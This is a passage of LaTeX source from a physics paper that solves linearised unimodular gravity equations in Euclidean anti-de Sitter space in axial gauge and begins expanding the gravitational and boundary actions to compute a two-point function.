when $h_{ij}[w,\vec{x}]$ has a well-defined limit as $w\rightarrow 0$.
To do this we shall proceed as follows. Contracting equation (\ref{eom0i}) with $k^i$ one gets
\begin{equation}
{ -2 k^2 z H'[z,\vec{k}]+ (-5+d) k^2 H[z,\vec{k}] + (1 + d) z k^i k^j H_{ij}'[z,\vec{k}]+2(1+d) k^i k^j H_{ij}[z,\vec{k}] =0.}
\label{kieom0i}
\end{equation}
By taking the derivative with respect to $z$ of the previous equation, one obtains
\begin{equation}
{(1+d) z k^i k^j H_{ij}''[z,\vec{k}]+ 3 (1+d)k^i k^j H_{ij}'[z,\vec{k}] - 2 k^2 z H''[z,\vec{k}]+ (-7 + d) k^2 H'[z,\vec{k}]=0.}
\label{derivativekieom0i}
\end{equation}
Let us now contract (\ref{eomij}) with $k^i k^j$:
\begin{equation}
\begin{array}{l}
{H''[z,\vec{k}] (-(3 + d) k^2 z^2 )+ H'[z,\vec{k}](-(-5 + d) (3 + d) k^2 z)+}\\[8pt]
{ H[z,\vec{k}](2 (-6 + d + d^2) k^2 - (-1 + d) k^4 z^2 )+}\\[8pt]
{k^i k^jH_{ij}''[z,\vec{k}]((1 + d)^2 z^2)+ k^i k^jH_{ij}'[z,\vec{k}](-(-5 + d) (1 + d)^2 z )+}
\\[8pt]
{k^i k^jH_{ij}[z,\vec{k}](4+6d-2d^3 + (-1 + d^2) k^2 z^2)=0.}
\end{array}
\label{kikjeomij}
\end{equation}
Let us consider the system constituted by (\ref{kieom0i}), (\ref{derivativekieom0i}) and (\ref{kikjeomij}). Solving this system for $k^i k^j H_{ij}[z,\vec{k}]$, one gets
\begin{equation}
\begin{array}{l}
{k^i k^j H_{ij}[z,\vec{k}]=\frac{1}{(1 + d) z^2}\{(-2 - (-3 + d) d + k^2 z^2) H[z,\vec{k}] +
z (2 (-2 + d) H'[z,\vec{k}] - z H''[z,\vec{k}])\} .}
\end{array}
\label{eq1}
\end{equation}
The contraction of equation (\ref{eomij}) with $\delta^{ij}$ yields the following equation
\begin{equation}
\begin{array}{l}
{H''[z,\vec{k}] (-(-1+d)z^2)+
H'[z,\vec{k}]((-5 + d) (-1 + d) z)+}\\[8pt]
{H[z,\vec{k}](2 (-2 + d) (-1 + d) - (3 + d) k^2 z^2 )+
k^ik^jH_{ij}[z,\vec{k}](2 (1 + d) z^2)=0.}
\end{array}
\label{preveq}
\end{equation}
This is equation (\ref{eom00}), so we conclude that equation (\ref{eom00}) is contained in equation (\ref{eomij}) and provides no extra information.
By solving for $k^ik^jH_{ij}[z,\vec{k}]$, (\ref{preveq}) can be recast into the form
\begin{equation}
\begin{array}{l}
{k^ik^jH_{ij}[z,\vec{k}]=\frac{1}{2 (1 + d) z^2}\{(-2 (-2 + d) (-1 + d) + (3 + d) k^2 z^2) H[z,\vec{k}] + }\\[8pt]
{(-1 + d) z (-(-5 + d) H'[z,\vec{k}] + z H''[z,\vec{k}]\}.}
\end{array}
\label{eq2}
\end{equation}
Next, subtracting (\ref{eq2}) from (\ref{eq1}), one gets
\begin{equation*}
k^2 z H[z,\vec{k}] - (-3 + d) H'[z,\vec{k}] + z H''[z,\vec{k}]=0.
\end{equation*}
Since $k^2\geq 0$, the general solution to the previous equation reads
\begin{equation}
H[z,\vec{k}]=z^{-1+d/2}(C_1 J_{d/2-1}[ |\vec{k}|\, z] + C_2 Y_{d/2-1}[ |\vec{k}|\, z]),
\label{badhz}
\end{equation}
where $|\vec{k}|=\sqrt{k^2}$, and $C_ 1$ and $C_2$ are functions of $\vec{k}$.
Let us assume that $d\geq 3$. Then, the asymptotic behaviour of $J_{d/2-1}[|\vec{k}| z]$ and $Y_{d/2-1}[ |\vec{k}| z])$ leads to the conclusion that $H[z,\vec{k}]=\delta^{ij}H_{ij}[z,\vec{k}]$ in (\ref{badhz}) has a well-defined limit as $z\rightarrow\infty$ only if both $C_ 1$ and $C_2$ vanish. Recall that there is the condition that $H_{ij}[z,\vec{k}]=h_{ij}[w=\frac{L^{d+1}}{d}z^{-d},\vec{k}]$ must have a well-defined limit as $w\rightarrow 0$, ie, as $z\rightarrow\infty$.
Next, the substitution of $H[z,\vec{k}]=0$ in equation (\ref{eom0i}) leads to
\begin{equation*}
z k^j H_{ji}'[z,\vec{k}]+2 k^j H_{ji}[z,\vec{k}]=0,
\end{equation*}
whose general solution is
\begin{equation*}
k^i H_{ij}[z,\vec{k}]=\frac{v_j(\vec{k})}{z^2}.
\end{equation*}
This solution is compatible with equation (\ref{eom00}) for $H[z,\vec{k}]=0$ if, and only if,
\begin{equation}
\delta^{ij}k_i v_j(\vec{k})=0.
\label{transverse}
\end{equation}
It can be shown that
\begin{equation}
H^{(particular)}_{ij}[z,\vec{k}]= \frac{1}{(z^2 k^2)}(k_i v_j (\vec{k})+ k_j v_i (\vec{k})).
\label{hparticular}
\end{equation}
is a solution to equation (\ref{eomij}), for $\delta^{ij}H^{(particular)}_{ij}[z,\vec{k}]=0$. Hence, when $H[z,\vec{k}]=0$, the general solution, $H_{ij}[z,\vec{k}]$, to (\ref{eomij}) can be expressed as the sum
$H_{ij}[z,\vec{k}]=H^{(transverse)}_{ij}[z,\vec{k}]+H^{(particular)}_{ij}[z,\vec{k}]$, where
\begin{equation*}
k^i H^{transverse}_{ij}[z,\vec{k}]=0.
\end{equation*}
Let us show that
\begin{equation*}
H^{(particular)}_{ij}[z,\vec{x}]\,=\,\idkd\;H^{(particular)}_{ij}[z,\vec{k}]\;e^{-i\vec{k}\cdot\vec{x}},
\end{equation*}
with $z=\left(\frac{w d}{L^{d+1}}\right)^{-1/d}$, can be recast as a unimodular gauge transformation which preserves the axial gauge condition $h_{0\mu}[w,\vec{x}]=0$. This gauge transformation reads
\begin{equation}
\nabla_{\mu}{\cal W}_{\nu}[w,\vec{x}]+\nabla_{\nu}{\cal W}_{\mu}[w,\vec{x}],
\label{Wtrans}
\end{equation}
where
\begin{equation}
{\cal W}_0[w,\vec{x}]=0,\quad {\cal W}_i[w,\vec{x}]= \Big(\frac{d\, w}{L^{d+1}}\Big)^{2/d}\,
i\int\frac{d^d k}{(2\pi)^d}\;e^{-i k\cdot x} \frac{v_i (\vec{k})}{k^2}
\label{Wdefinition}
\end{equation}
and the covariant derivative is defined with regard to the unimodular Poincar\'e metric in (\ref{unimetric}).
Let us change variables from $(w,\vec{x})$ to $(z,\vec{x})$, where $z= \left(\frac{w d}{L^{d+1}}\right)^{-1/d}$ --$\vec{x}$ does not change. Then the vector field ${\cal W}_{\nu}[w,\vec{x}]$ changes to ${\cal V}_{\nu}[x,\vec{x}]$ as follows
\begin{equation*}
{\cal W}_0[w,\vec{x}]=\frac{\partial z}{\partial w}\;{\cal V}_0[z,\vec{x}],\quad {\cal }W_{i}[w,\vec{x}]={\cal V}_i[z,\vec{x}].
\end{equation*}
Hence, the following results hold
\begin{equation}
\begin{array}{l}
{{\cal V}_0[z,\vec{x}]=0,\quad {\cal V}_i [z,\vec{x}]=\frac{1}{z^2}i\int\frac{d^d k}{(2\pi)^d}\;e^{-i k\cdot x} \frac{v_i (\vec{k})}{k^2}} \\[8pt]
{\bar{\nabla}_{0}{\cal W}_{0}[z,\vec{x}]=(\frac{\partial z}{\partial w})^2\nabla^{(S)}_{0}{\cal V}_{0}[z,\vec{x}],}\\[8pt]
{\bar{\nabla}_{0}{\cal W}_{i}[w,\vec{x}]+\bar{\nabla}_{i}{\cal W}_{0}[w,\vec{x}]=\frac{\partial z}{\partial w}(\nabla^{(S)}_{0}{\cal V}_{i}[z,\vec{x}]+\nabla^{(S)}_{i}{\cal V}_{0}[z,\vec{x}]),}\\[8pt]
{\bar{\nabla}_{i}{\cal W}_{j}[w,\vec{x}]+\bar{\nabla}_{j}{\cal W}_{i}[w,\vec{x}]=\nabla^{(S)}_{i}{\cal V}_{j}[z,\vec{x}]+\nabla^{(S)}_{j}{\cal V}_{i}[z,\vec{x}],}
\end{array}
\label{someres}
\end{equation}
where $\nabla^{(S)}_{\mu}$ denotes the covariant derivative with respect to the standard Poincar\'e metric whose line element is in (\ref{linepoincare}). A little computation yields
\begin{equation*}
\nabla^{(S)}_{0}{\cal V}_{0}[z,\vec{x}]=0,\quad \nabla^{(S)}_{0}{\cal V}_{i}[z,\vec{x}]+\nabla^{(S)}_{i}{\cal V}_{0}[z,\vec{x}]=0,
\end{equation*}
which guarantees, in view of (\ref{gaugesym}) and (\ref{someres}), that the axial gauge condition $h_{0\mu}[w,\vec{x}]=0$ is preserved. Besides
\begin{equation*}
\nabla^{(S)}_{i}{\cal V}_j[z,\vec{x}]+\nabla^{(S)}_{j}{\cal V}_{i}[z,\vec{x}]=\frac{1}{z^2}\int\frac{d^d k}{(2\pi)^d}\;e^{-i k\cdot x}\; \frac{k_i v_j (k)+ k_j v_i(k)}{k^2},
\end{equation*}
which matches (\ref{hparticular}). Hence, the last equation in (\ref{someres}) yields (\ref{hparticular}).
It remains to be seen that ${\cal W}_{\mu}[w,\vec{x}]$ is covariantly transverse: $\bar{\nabla}^{\mu}{\cal W}_{\mu}[w,\vec{x}]=0$. Indeed,
\begin{equation*}
\bar{\nabla}^{\mu}{\cal W}_{\mu}[w,\vec{x}]=\nabla^{(S)}_{\mu}{\cal V}^{\mu}[z,\vec{x}]=\int\frac{d^d k}{(2\pi)^d}\;e^{-i k\cdot x}\; \frac{\delta^{ij} k_i v_j (k)}{k^2} =0,
\end{equation*}
for equation (\ref{transverse}) holds. Recall that unimodularity of the metric implies that transversality with regard to $\partial_\mu$ and $\bar{\nabla}_\mu$ are equivalent.
Let us recapitulate. We have just shown that, in the axial gauge, $h_{0\mu}[w,\vec{x}]=0$, any solution to (\ref{linearisedugeq}) in the domain with cutoff $\{(w,\vec{x}), 0 < w<\rho_0, \vec{x}\in \rm{I\!R}^d\}$ which has a well-defined limit as $w\rightarrow 0$ is gauge equivalent, under the transformation in (\ref{Wtrans}) and (\ref{Wdefinition}), to a solution of (\ref{linearisedugeq}), say $h_{ij}[z,\vec{x}]$, such that
\begin{equation}
H[z,\vec{x}]\,=\,0\quad\text{and}\quad \partial^j H_{ji}[z,\vec{x}]=0,
\label{TTshown}
\end{equation}
where $\partial^j=\delta^{jl}\frac{\partial}{\partial x^l}$, $H[z,\vec{x}]\equiv\delta^{ij}H_{ij}[z,\vec{x}]$ and $H_{ij}[z,\vec{x}]=h_{ij}[w=\frac{L^{d+1}}{d}z^{-d},\vec{x}]$. Notice that (\ref{TTshown}) can be recast as (\ref{TTpremier}).
If we substitute (\ref{TTconditions}) in (\ref{eom00}) and (\ref{eom0i}) in turn, we shall see that they are trivially satisfied. However, the substitution of (\ref{TTconditions}) in (\ref{eomij}) yields the following equation
\begin{equation}
z^2 H_{ij}''[z,\vec{k}]-(-5+d) z H_{ij}'[z,\vec{k}]-(-4 + 2 d + k^2 z^2) H_{ij}[z,\vec{k}]\,=\,0,
\label{simpleeomij}
\end{equation}
to be satisfied by $H_{ij}[z,\vec{k}]$.
Let $H^i_j[z,\vec{k}]$ be given by the following set of equations
\begin{equation*}
H^i_j[z,\vec{k}]\,\equiv\,h^i_j[w=\frac{L^{d+1}}{d}z^{-d},\vec{k}],\quad h^i_j[w,\vec{k}]=\bar{g}^{il}h_{lj}[w,\vec{k}]=
\left(\frac{L}{w d}\right)^{2/d} h_{ij}[w,\vec{k}],
\end{equation*}
where $\bar{g}^{\mu\nu}$ is the inverse of the unimodular metric (\ref{unimetric}). Obviously, $H_{ij}[z,\vec{k}]=\frac{L^2}{z^2}H^i_j[z,\vec{k}]$, which substituted in (\ref{simpleeomij}) yields
\begin{equation}
z^2 H^{i}_j {''}[z,\vec{k}]+(1-d) z H^{i}_j{'}[z,\vec{k}]-k^2 z^2 H^i_j[z,\vec{k}]\,=\,0.
\label{besseleomij}
\end{equation}
The general solution to this equation is well known: it is a linear combination of $z^{d/2}K_{d/2}[|k|z]$ and $z^{d/2}I_{d/2}[|k|z]$, where $K_{d/2}[|k|z]$ and $I_{d/2}[|k|z]$ are the modified Bessel function of second kind. And yet, we have to drop $z^{d/2}I_{d/2}[|k|z]$, for it has an exponentially divergent behaviour in the deep interior of Euclidean AdS, ie, as $z\rightarrow\infty$ --recall that $z\rightarrow\infty$ corresponds to $w\rightarrow 0$. We then conclude that the solution to (\ref{besseleomij}), in the domain
$\{(z,\vec{k}), z\!>\!\epsilon_0\!>\!0, \vec{k}\in \rm{I\! R}^d, \epsilon_0=\left(\frac{\rho_0 d}{L^{d+1}}\right)^{-1/d}\}$,
satisfying Dirichlet boundary conditions at $z=\epsilon_0$ and having a well-defined limit as $z\rightarrow 0$ reads
\begin{equation}
H^i_j[z,\vec{k}]\,=\, \frac{z^{d/2}K_{d/2}[|k|z]}{\epsilon_0^{d/2}
K_{d/2}[|k|\epsilon_0]}\,h^{(\tiny{TT})\,i}_j[\vec{k}].
\label{HIJresult}
\end{equation}
Notice that $h^{(\tiny{TT})\,i}_j[\vec{k}]$ is any traceless and transverse function whose inverse Fourier transform is real so that (\ref{TTconditions}) holds. Obviously,
\begin{equation}
\begin{array}{l}
{h^{(\tiny{TT})\,i}_j[\vec{k}]=h^{(T)\,i}_j[\vec{k}]-\frac{1}{d-1}\left(\delta^i_j-\frac{k^i k_j}{k^2}\right)h^{(T)}[\vec{k}], \quad h^{(T)}[\vec{k}]=\delta^j_i h^{(T)\,i}_j[\vec{k}], }\\[8pt]
{h^{(T)\,i}_j[\vec{k}]=h^{(b)\,i}_j[\vec{k}]-\frac{1}{k^2}k^i k_l h^{(b)\,l}_j[\vec{k}]-\frac{1}{k^2}k_j k^l h^{(b)\,i}_{l}[\vec{k}]+\frac{1}{(k^2)^2}k^i k_j\, k^n k_m h^{(b)\,m}_n[\vec{k}],}
\end{array}
\label{hTTdecomp}
\end{equation}
where $h^{(b)\,i}_j[\vec{k}]$ is the Fourier transform of an arbitrary real $h^{(b)\,i}_j(\vec{x})$, which sets the value of $h_{\mu\nu}[w,\vec{x}]$ at boundary $w=\rho_{0}$.
Putting it all together we finally conclude that in the axial gauge, $h_{0\mu}[w,\vec{x}]=0$, any solution to (\ref{linearisedugeq}) --the linearized unimodular gravity equation-- in the domain $\{(w,\vec{x}); 0 < w < \rho_{0}, \vec{x}\in \rm{I\!R}^d\}$ is gauge equivalent,
under a gauge transformation --see (\ref{Wdefinition})-- preserving the axial gauge, to an $h_{\mu\nu}[w,\vec{x}]$ whose Fourier transform is given by
\begin{equation}
\begin{array}{l}
{h_{0\mu}[w,\vec{k}]=0,\quad h_{ij}[w,\vec{k}]=\bar{g}_{ik}\,h^k_j[w,\vec{k}],}\\[8pt]
{h^k_j[w,\vec{k}]=H^k_j[z=\left(wd/L\right)^{-1/d},\vec{k}]=\displaystyle\left(\frac{\rho_0}{w}\right)^{1/2}\,\displaystyle\frac{K_{d/2}[|k|
\left(wd/L\right)^{-1/d}]}{K_{d/2}[|k|\left(\rho_0 d/L\right)^{-1/d}]}\,h^{(\tiny{TT})\,k}_j[\vec{k}].}
\end{array}
\label{finalresult}
\end{equation}
Of course, we have demanded that the solution, $h_{\mu\nu}[w,\vec{x}]$, be such that it has a well-defined limit as $w\rightarrow 0$ and satisfies Dirichlet boundary conditions at $w=\rho_0$.
It will be useful for use in the following sections to realize that in the axial gauge, $h_{0\mu}[w,\vec{x}]=0$, the equations in (\ref{TTpremier}) are equivalent to
\begin{equation}
h[w,\vec{x}]=\bar{g}^{\mu\nu}h_{\mu\nu}[w,\vec{x}]\quad \text{and}\quad \bar{\nabla}^\mu h_{\mu\nu}[w,\vec{x}]=0,
\label{TTcovariant}
\end{equation}
respectively; $\bar{g}_{\mu\nu}$ being defined in (\ref{unimetric}). Besides, the substitution of the equations (\ref{TTcovariant}) in (\ref{linearisedugeq}) leads to the conclusion that our $h_{\mu\nu}[w,\vec{x}]$ in (\ref{finalresult}) satisfies
\begin{equation}
\bar{\Box}h_{\mu\nu}=-\frac{2}{L^2} h_{\mu\nu}.
\label{simpleeom}
\end{equation}
A final comment: It is not difficult to show that each component of $h^i_j[w,\vec{x}]$, with Fourier transform in (\ref{finalresult}), satisfies the free massless Klein-Gordon equation for the unimodular metric in (\ref{unimetric}).
\section{The two-point function}
The purpose of this section is to work out the expansion up to quadratic order in $h_{\mu\nu}$ of $S_{\text{\tiny{UG}}}$ in (\ref{UGaction}) for the $h_{\mu\nu}$ in (\ref{finalresult}) and compare the result with that of General Relativity.
By using integration by parts and not dropping the total derivative terms, the contribution in question, say $S_{\text{\tiny{HEUG2}}}$, to
\begin{equation*}
-\frac{1}{2\kappa^2}\int d^d x\int_{0}^{\rho_0}dw \,R[\hat{g}]
\end{equation*}
reads
\begin{equation}
\begin{array}{l}
{S_{\text{\tiny{HEUG2}}}[h_{\mu\nu}]=-\frac{1}{2\kappa^2}\int
d^d x\int_{0}^{\rho_0}dw \Big\{-\frac{d(d+1)}{L^2}+\kappa\bar{\nabla}_\mu\bar{\nabla}_\nu h^{\mu\nu}-\kappa\frac{1}{d+1}\bar{\Box} h+}\\[4pt]
{+\frac{\kappa^2}{2}\big[\frac{1}{2}h^{\alpha\beta}\bar{\Box}h_{\alpha\beta}-\frac{d+3}{2(d+1)^2}h\bar{\Box}h-\frac{1}{2}h^{\alpha\beta}
\bar{\nabla}_\alpha \bar{\nabla}_\lambda h^\lambda_\beta-\frac{1}{2}h^{\alpha\beta}\bar{\nabla}_\beta\bar{\nabla}_\lambda h^\lambda_\alpha +}\\[4pt]
{+\frac{1}{d+1}h\bar{\nabla}_\mu\bar{\nabla}_\nu h^{\mu\nu}+\frac{1}{d+1}h^{\alpha\beta}\bar{\nabla}_\alpha\bar{\nabla}_\beta h-\frac{1}{L^2}h^{\alpha\beta}h_{\alpha\beta}+\frac{1}{(d+1)L^2} h^2\big]+\kappa^2\bar{\nabla}_\lambda B^\lambda\Big\},}
\end{array}
\label{HEUG2}
\end{equation}
where\footnote{To obtain (\ref{HEUG2}), we have used the algebraic package xAct \cite{xAct}.}
\begin{equation*}
B^\lambda=\frac{d-1}{4(d+1)^2} h\bar{\nabla}^\lambda h+\frac{3-d}{4(d+1)}h_{\mu\nu}\bar{\nabla}^\lambda h^{\mu\nu}+\frac{1}{2(d+1)}\Big[h^{\lambda\nu}\bar{\nabla}_\nu h+h\bar{\nabla}_\nu h^{\lambda\nu}\Big]-h^{\lambda\tau}\bar{\nabla}_\nu h^\nu_\tau-\frac{1}{2}h^{\tau\nu}\bar{\nabla}_\nu h^\lambda_\tau
\end{equation*}
and $h\equiv \bar{g}^{\mu\nu}h_{\mu\nu}$. Notice that we are integrating over the domain with cutoff $\{(w,\vec{x}); 0\leq w\leq \rho_{0}, \vec{x}\in \rm{I\!R}^d\}$ that we have introduced in the previous section. The $\rm{I\!R}^d$ boundary is at $w=\rho_0$. The introduction of the cutoff $\rho_{0}$ regularizes the otherwise IR divergent value of the action. $\rho_0$ is to be taken to $\infty$ upon renormalization.
When $h_{\mu\nu}$ in (\ref{HEUG2}) satisfies --as does our solution in (\ref{finalresult})-- the equations in (\ref{TTcovariant}) and (\ref{simpleeom}), $S_{\text{\tiny{HEUG2}}}[h_{\mu\nu}]$ boils down to
\begin{equation}
S_{\text{\tiny{HEUG2}}}[h_{\mu\nu}]=-\frac{1}{2}\int
d^d x\int_{0}^{\rho_0}dw\,\left\{-\frac{d(d+1)}{\kappa^2 L^2}+\bar{\nabla}_\lambda\left(\frac{3-d}{4(d+1)}h_{\mu\nu}\bar{\nabla}^\lambda h^{\mu\nu}
-\frac{1}{2}h^{\tau\nu}\bar{\nabla}_\nu h^\lambda_\tau\right)\right\}.
\label{HEUG2shell}
\end{equation}
Notice that --as in the General Relativity case \cite{Liu:1998bu, Arutyunov:1998ve}-- $S_{\text{\tiny{HEUG2}}}$ in (\ref{HEUG2shell}) only contains boundary contributions.
Let us introduce the metric, say $\bar{g}^{(b)}_{ij}; i,j=1...d$, that the unimodular metric in (\ref{unimetric}) induces on the boundary, $\{(\rho_0,\vec{x}), \vec{x}\in \rm{I\!R}^d\}$, at $w=\rho_0$:
\begin{equation}
\bar{g}^{(b)}_{ij}[\rho_0,\vec{x}]=\bar{g}_{\mu\nu}[\rho_0,\vec{x}]\,\frac{\partial x^{\mu}}{\partial x^i}\frac{\partial x^{\nu}}{\partial x^j}= \bar{g}_{ij}[\rho_0,\vec{x}]= \left(\frac{\rho_0 d}{L}\right)^{2/d}\,\delta_{ij},
\label{bbgmetric}
\end{equation}
where $x^\mu=(w,x^i)$. Let $\bar{n}^{\mu}$ denote the unitary vector which is orthogonal to the boundary $\{(\rho_0,\vec{x}), \vec{x}\in \rm{I\!R}^d\}$ and it is given by
\begin{equation}
\bar{n}^{\mu}=\left(\frac{\rho_0 d}{L},\vec{0}\right),
\label{nbarvalue}
\end{equation}
$\vec{0}$ being the zero vector of $\rm{I\!R}^d$. Of course, $\bar{n}^{\mu}$ satisfies $\bar{g}_{\mu\nu}\bar{n}^\mu \bar{n}^\nu=1$ and $\bar{g}_{\mu\nu}\bar{n}^\mu e^\nu_i=0$, where $e^\mu_i=\frac{\partial x^{\mu}}{\partial x^i}, i=1...d$ are the coordinates of an orthogonal basis of the boundary at $w=\rho_0$ in the vector basis $\{\partial_\mu, \mu=0,1...d\}$. With this definitions in hand, the divergence theorem tell us that $S_{\text{\tiny{HEUG2}}}[h_{\mu\nu}]$
in (\ref{HEUG2shell}) is given by
\begin{equation}
S_{\text{\tiny{HEUG2}}}[h_{\mu\nu}]=-\frac{1}{2}\int
d^d x \left. \left\{-\frac{d(d+1)}{\kappa^2 L^2}\,w\,+\,\sqrt{\bar{g}^{(b)}}\,\bar{n}_\lambda\left(\frac{3-d}{4(d+1)}h_{\mu\nu}\bar{\nabla}^\lambda h^{\mu\nu}
-\frac{1}{2}h^{\tau\nu}\bar{\nabla}_\nu h^\lambda_\tau\right)\right\}\right\vert_{w=\rho_0},
\label{HEUG2shellgauss}
\end{equation}
where $\bar{g}^{(b)}$ denotes the determinant of $\bar{g}^{(b)}_{ij}$.
Now, substituting $h_{0\mu}=0$, $\bar{\nabla}_i h_{0j}=-\frac{1}{\omega d}h_{ij}$, $\sqrt{\bar{g}^{(b)}}=\frac{\rho_0 d}{L}$ and
(\ref{nbarvalue}) in (\ref{HEUG2shellgauss}), one gets
\begin{equation}
S_{\text{\tiny{HEUG2}}}[h_{\mu\nu}]=-\frac{1}{2}\int
d^d x \left. \left\{-\frac{d(d+1)}{\kappa^2 L^2}\,\rho_0\,+\,\left(\frac{\rho_0 d}{L}\right)^2\left(\frac{3-d}{4(d+1)}h^i_j\partial_0 h^j_i
+\frac{1}{2\rho_0 d}h^j_ih^i_j\right)\right\}\right\vert_{w=\rho_0}.
\label{HEUG2final}
\end{equation}
Next, we shall expand the unimodular Hawking-Gibbons-York action
\begin{equation}
S_{\text{\tiny{HGY}}}\,=\, -\frac{1}{2\kappa^2}\int d^dx\,2\sqrt{\hat{g}^{(b)}[\rho_0,\vec{x}]}\,K[\rho_0,\vec{x}],
\label{HGYaction}
\end{equation}
up to second order in $h_{\mu\nu}$. Recall that $\hat{g}_{\mu\nu}$ is given in (\ref{gravitonfield}), with $n=d+1$, so that both the determinant of induced metric on the boundary, $g^{(b)}[\rho_0,\vec{x}]$, and the trace of the extrinsic curvature of the boundary, $K[\rho_0,\vec{x}]$, are to be computed for $\hat{g}_{\mu\nu}$.
Taking into account that
\begin{equation}
\hat{g}^{(b)}_{ij}[\rho_0,\vec{x}]\equiv\hat{g}_{\mu\nu}[\rho_0,\vec{x}]\,\frac{\partial x^{\mu}}{\partial x^i}\frac{\partial x^{\nu}}{\partial x^j}=\hat{g}_{ij}[\rho_0,\vec{x}],
\label{hgbij}
\end{equation}
where $x^\mu=(w,x^i)$, one concludes that in the axial gauge, $h_{0\mu}[\rho_0,\vec{x}]=0$, we have
\begin{equation}
\sqrt{\hat{g}^{(b)}}=\frac{\rho_0 d}{L}\Big[1+\frac{1}{2(d+1)}\kappa h-\frac{1}{4(d+1)}\kappa^2 h^i_jh^j_i+\frac{1}{8(d+1)^2}\kappa^2 h^2\Big]+o((h_{ij})^3),
\label{hgbdet}
\end{equation}
where $h=\bar{g}^{\mu\nu}h_{\mu\nu}$ and indices are raised and lowered with the Euclidean AdS unimodular metric $\bar{g}_{\mu\nu}$ in (\ref{unimetric}).
To compute $K[\rho_0,\vec{x}]$ we shall take advantage of the foliation of $\{(w,\vec{x}); 0\leq w\leq \rho_{0}, \vec{x}\in \rm{I\!R}^d\}$ furnished
by the hyperplanes $w\times\rm{I\!R}^d$, $w$ fixed. Indeed, if $\hat{n}[w,\vec{x}]$ denotes the vector field constituted by the unitary vectors normal to each hyperplane that we have just mentioned, we have
\begin{equation}
K[\rho_0,\vec{x}]\,=\,\hat{\nabla}_\mu n^{\mu}[\rho_0,\vec{x}]\,=\,\partial_{\mu} n^{\mu}[\rho_0,\vec{x}].
\label{Kcurvature}
\end{equation}
The covariant derivative $\hat{\nabla}_\mu$ is defined with regard to the metric $\hat{g}_{\mu\nu}$ which has determinant equal to $1$; this is why the rightmost equal sign in (\ref{Kcurvature}) is right. As we have said the vector field, $\hat{n}[w,\vec{x}]$, must satisfy the following unitarity and orthonormality conditions
\begin{equation}
\hat{g}_{\mu\nu} \hat{n}^\mu \hat{n}^\nu = 1\quad\text{ and}\quad \hat{g}_{\mu\nu}\hat{n}^\mu e^{\nu}_i=0,\quad i=1...d,
\label{unitarity}
\end{equation}
at each point $(w,\vec{x})$. In the previous equation $e^{\mu}_i=\frac{\partial x^\mu}{\partial x^i}$, $\{e^{\mu}_i \partial_{\mu}\}_{i=1...d}$ is a basis of vector fields of $w\times\rm{I\!R}^d$.
Let us solve the second equation in (\ref{unitarity}) first. Defining $\hat{n}_\mu=\hat{g}_{\mu\nu}\hat{n}^\nu$, we conclude that this second equation in (\ref{unitarity}) is equivalent to $\hat{n}_\mu e^\mu_i=0$. Hence,
\begin{equation}
\hat{n}_\mu[w,\vec{x}]\,=\,(n_{0}[w,\vec{x}],\vec{0}),
\label{nhat}
\end{equation}
for $e^{\mu}_i=\frac{\partial x^\mu}{\partial x^i}=\delta^\mu_i$.
Now, in the axial gauge $h_{0\mu}=0$, so we have $\hat{g}_{i0}=0$, for $\bar{g}_{\mu\nu}$ is diagonal. Then, $\hat{n}_i=\hat{g}_{i\nu}\hat{n}^\nu=\hat{g}_{ij}\hat{n}^j$ and $\hat{n}_i=0$ imply that $(\bar{g}_{ij}+\kappa h_{ij})\hat{n}^j=0$; which in turn leads to
$\hat{n}^i[w,\vec{x}]=0$, for $(\bar{g}_{ij}+\kappa h_{ij})$ is an invertible matrix in perturbation theory of $h_{ij}$.
Summarizing, in the axial gauge, $h_{0\mu}=0$, the orthogonality condition -see (\ref{unitarity})-- on the vector field $\hat{n}^\mu$ yields
\begin{equation*}
\hat{n}^\mu[w,\vec{x}]\,=\,(n^{0}[w,\vec{x}],\vec{0}).
\end{equation*}
Substituting this result in the first equation --the unitarity condition-- in (\ref{unitarity}), one gets
\begin{equation*}
\hat{n}^0[w,\vec{x}]\,=\,\frac{1}{\sqrt{\hat{g}_{00}[w,\vec{x}]}}.
\end{equation*}
By taking into account that, in the axial gauge, it holds that $\hat{g}_{00}=\bar{g}_{00} (\text{det}(\bar{g}_{\mu\nu}+\kappa h_{\mu\nu})^{-1/(d+1)}$, one obtains the following result:
\begin{equation}
\hat{n}^0[w,\vec{x}]=\frac{ w d }{L}\Big[1+\frac{1}{2(d+1)}\kappa h-\frac{1}{4(d+1)}\kappa^2 h^i_j h^j_i+\frac{1}{8(d+1)^2}\kappa^2 h^2\Big]+o((h_{ij})^3).
\label{n0hat}
\end{equation}
The substitution of (\ref{nhat}) and (\ref{n0hat}) in (\ref{Kcurvature}) yields
\begin{equation}
\begin{array}{l}
{ K[\rho_0,\vec{x}]=\partial_\mu \hat{n}^\mu[\rho_0,\vec{x}]=\partial_0\hat{n}^0[w,\vec{x}]=\frac{d}{L}\left.\Big[1+\frac{1}{2(d+1)}\kappa h-\frac{1}{4(d+1)}\kappa^2 h^i_j h^j_i+\frac{1}{8(d+1)^2}\kappa^2h^2\Big]\right\vert_{w=\rho_0}+}\\[8pt]
{\phantom{K[\rho_0,\vec{x}]=}+\frac{\rho_0 d}{L}\left.\Big[\frac{1}{2(d+1)}\kappa \partial_0 h-\frac{1}{2(d+1)}\kappa^2 h^i_j\partial_0 h^j_i+\frac{1}{4(d+1)^2}\kappa^2 h\partial_0 h\Big]\right\vert_{w=\rho_0}+o((h_{ij})^3)}.
\end{array}
\label{Kresult}
\end{equation}
Notation: $\partial_0\equiv\frac{\partial}{\partial w}$.
Let us now substitute (\ref{hgbdet}) and (\ref{Kresult}) in (\ref{HGYaction}). Then,
\begin{equation}
\begin{array}{l}
{ S_{\text{\tiny{HGY}}}=-\frac{1}{2\kappa^2}\int d^dx\,2\Big[\frac{\rho_0 d^2}{L^2}\left(1+\frac{1}{d+1}\kappa h+\frac{1}{2(d+1)^2}\kappa^2 h^2-\frac{1}{2(d+1)}\kappa^2 h^i_jh^j_i\right)+}\\[8pt]
{+\left(\frac{\rho_0 d}{L}\right)^2\left(\frac{1}{2(d+1)}\kappa \partial_0 h+\frac{1}{2(d+1)^2}\kappa^2 h\partial_0 h-\frac{1}{2(d+1)}\kappa^2 h^i_j\partial_0 h^j_i\right)\left.\Big]\right\vert_{w=\rho_0}+o((h_{ij})^3).}
\end{array}
\label{preliminarySHGY}
\end{equation}
Recall that at the end of the day we have to replace $h_{\mu\nu}[w,\vec{x}]$ in the previous equation with the $h_{\mu\nu}[w,\vec{x}]$ in (\ref{finalresult}). Then we can set $h=0$ in (\ref{preliminarySHGY}) to get
\begin{equation}
\begin{array}{l}
